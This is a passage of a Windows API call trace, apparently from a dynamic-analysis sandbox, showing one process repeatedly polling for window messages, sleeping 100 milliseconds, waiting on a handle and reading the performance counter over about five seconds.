PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0119.341] Sleep (dwMilliseconds=0x64) [0119.452] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0119.453] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=671770452) returned 1 [0119.453] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=671770580) returned 1 [0119.454] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0119.454] Sleep (dwMilliseconds=0x64) [0119.548] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0119.548] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=672097818) returned 1 [0119.548] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=672097997) returned 1 [0119.549] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0119.549] Sleep (dwMilliseconds=0x64) [0119.657] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0119.658] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=672471200) returned 1 [0119.658] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=672471374) returned 1 [0119.658] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0119.659] Sleep (dwMilliseconds=0x64) [0119.791] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0119.791] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=672926929) returned 1 [0119.791] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=672927100) returned 1 [0119.792] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0119.793] Sleep (dwMilliseconds=0x64) [0119.891] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0119.891] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=673270551) returned 1 [0119.891] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=673270689) returned 1 [0119.892] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0119.893] Sleep (dwMilliseconds=0x64) [0120.001] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0120.001] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=673644118) returned 1 [0120.001] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=673644304) returned 1 [0120.001] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0120.002] Sleep (dwMilliseconds=0x64) [0120.110] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0120.110] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=674017507) returned 1 [0120.110] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=674017692) returned 1 [0120.111] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0120.111] Sleep (dwMilliseconds=0x64) [0120.220] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0120.220] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=674393891) returned 1 [0120.220] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=674394076) returned 1 [0120.221] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0120.221] Sleep (dwMilliseconds=0x64) [0120.338] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0120.338] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=674796049) returned 1 [0120.338] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=674796228) returned 1 [0120.338] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0120.339] Sleep (dwMilliseconds=0x64) [0120.438] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0120.438] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=675139320) returned 1 [0120.438] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=675139503) returned 1 [0120.439] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0120.439] Sleep (dwMilliseconds=0x64) [0120.547] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0120.547] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=675512313) returned 1 [0120.547] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=675512426) returned 1 [0120.548] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0120.548] Sleep (dwMilliseconds=0x64) [0120.656] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0120.656] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=675884563) returned 1 [0120.656] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=675884669) returned 1 [0120.657] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0120.657] Sleep (dwMilliseconds=0x64) [0120.765] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0120.765] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=676258040) returned 1 [0120.766] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=676258167) returned 1 [0120.766] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0120.766] Sleep (dwMilliseconds=0x64) [0120.891] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0120.891] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=676685817) returned 1 [0120.891] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=676685997) returned 1 [0120.892] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0120.893] Sleep (dwMilliseconds=0x64) [0121.000] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0121.000] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=677059136) returned 1 [0121.000] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=677059311) returned 1 [0121.000] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0121.001] Sleep (dwMilliseconds=0x64) [0121.109] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0121.109] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=677433358) returned 1 [0121.109] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=677433545) returned 1 [0121.110] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0121.110] Sleep (dwMilliseconds=0x64) [0121.218] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0121.218] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=677805252) returned 1 [0121.218] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=677805429) returned 1 [0121.219] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0121.219] Sleep (dwMilliseconds=0x64) [0121.327] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0121.327] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=678178514) returned 1 [0121.327] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=678178700) returned 1 [0121.328] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0121.328] Sleep (dwMilliseconds=0x64) [0121.442] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0121.442] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=678571370) returned 1 [0121.442] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=678571533) returned 1 [0121.443] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0121.443] Sleep (dwMilliseconds=0x64) [0121.546] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0121.546] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=678924531) returned 1 [0121.546] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=678924686) returned 1 [0121.546] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0121.547] Sleep (dwMilliseconds=0x64) [0121.655] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0121.655] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=679298109) returned 1 [0121.655] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=679298284) returned 1 [0121.656] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0121.656] Sleep (dwMilliseconds=0x64) [0121.767] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0121.767] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=679682545) returned 1 [0121.767] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=679682730) returned 1 [0121.768] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0121.769] Sleep (dwMilliseconds=0x64) [0121.890] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0121.890] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=680101782) returned 1 [0121.890] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=680101965) returned 1 [0121.891] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0121.892] Sleep (dwMilliseconds=0x64) [0121.998] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0121.998] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=680471040) returned 1 [0121.998] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=680471204) returned 1 [0121.999] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0121.999] Sleep (dwMilliseconds=0x64) [0122.110] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0122.111] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=680855471) returned 1 [0122.111] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=680855653) returned 1 [0122.111] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0122.112] Sleep (dwMilliseconds=0x64) [0122.216] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0122.216] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=681216512) returned 1 [0122.216] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=681216683) returned 1 [0122.217] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0122.217] Sleep (dwMilliseconds=0x64) [0122.374] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0122.374] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=681756660) returned 1 [0122.374] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=681756780) returned 1 [0122.376] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0122.376] Sleep (dwMilliseconds=0x64) [0122.495] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0122.495] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=682171102) returned 1 [0122.496] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=682171298) returned 1 [0122.496] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0122.497] Sleep (dwMilliseconds=0x64) [0122.610] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0122.611] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=682564401) returned 1 [0122.611] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=682564566) returned 1 [0122.612] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0122.612] Sleep (dwMilliseconds=0x64) [0122.715] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0122.715] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=682921711) returned 1 [0122.715] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=682921860) returned 1 [0122.716] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0122.716] Sleep (dwMilliseconds=0x64) [0122.824] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0122.824] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=683295278) returned 1 [0122.824] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=683295456) returned 1 [0122.825] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0122.826] Sleep (dwMilliseconds=0x64) [0122.934] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0122.934] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=683669751) returned 1 [0122.934] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=683669908) returned 1 [0122.935] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0122.935] Sleep (dwMilliseconds=0x64) [0123.043] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0123.043] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=684041390) returned 1 [0123.043] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=684041560) returned 1 [0123.044] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0123.044] Sleep (dwMilliseconds=0x64) [0123.152] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0123.152] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=684414780) returned 1 [0123.152] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=684414938) returned 1 [0123.153] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0123.154] Sleep (dwMilliseconds=0x64) [0123.262] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0123.262] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=684789664) returned 1 [0123.262] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=684789838) returned 1 [0123.262] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0123.263] Sleep (dwMilliseconds=0x64) [0123.371] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0123.371] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=685163918) returned 1 [0123.371] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=685164085) returned 1 [0123.372] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0123.372] Sleep (dwMilliseconds=0x64) [0123.511] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0123.511] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=685641927) returned 1 [0123.511] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=685642089) returned 1 [0123.512] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0123.512] Sleep (dwMilliseconds=0x64) [0123.620] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0123.620] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=686014180) returned 1 [0123.620] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=686014337) returned 1 [0123.620] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0123.621] Sleep (dwMilliseconds=0x64) [0123.729] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0123.730] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=686389129) returned 1 [0123.730] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=686389304) returned 1 [0123.730] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0123.731] Sleep (dwMilliseconds=0x64) [0123.838] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0123.838] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=686760724) returned 1 [0123.838] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=686760879) returned 1 [0123.839] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0123.839] Sleep (dwMilliseconds=0x64) [0123.947] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0123.948] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=687134177) returned 1 [0123.948] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=687134369) returned 1 [0123.949] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0123.949] Sleep (dwMilliseconds=0x64) [0124.058] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0124.058] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=687510922) returned 1 [0124.058] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=687511092) returned 1 [0124.058] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0124.059] Sleep (dwMilliseconds=0x64) [0124.169] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0124.169] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=687892297) returned 1 [0124.169] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=687892482) returned 1 [0124.171] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0124.171] Sleep (dwMilliseconds=0x64) [0124.276] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0124.276] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=688257602) returned 1 [0124.276] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=688257861) returned 1 [0124.277] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0124.278] Sleep (dwMilliseconds=0x64) [0124.385] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0124.385] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=688631017) returned 1 [0124.386] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=688631191) returned 1 [0124.386] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0124.387] Sleep (dwMilliseconds=0x64) [0124.502] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0124.502] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=689030215) returned 1 [0124.502] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=689030364) returned 1 [0124.503] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0124.503] Sleep (dwMilliseconds=0x64) [0124.604] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0124.604] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=689377479) returned 1 [0124.604] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=689377673) returned 1 [0124.605] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0124.605] Sleep (dwMilliseconds=0x64) [0124.712] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0124.713] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=689748830) returned 1 [0124.713] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=689749033) returned 1 [0124.713] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0124.714] Sleep (dwMilliseconds=0x64) [0124.822] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0124.822] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=690122526) returned 1 [0124.822] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=690122727) returned 1 [0124.822] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0124.823] Sleep (dwMilliseconds=0x64) [0124.932] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0124.932] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=690500432) returned 1 [0124.932] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=690500595) returned 1 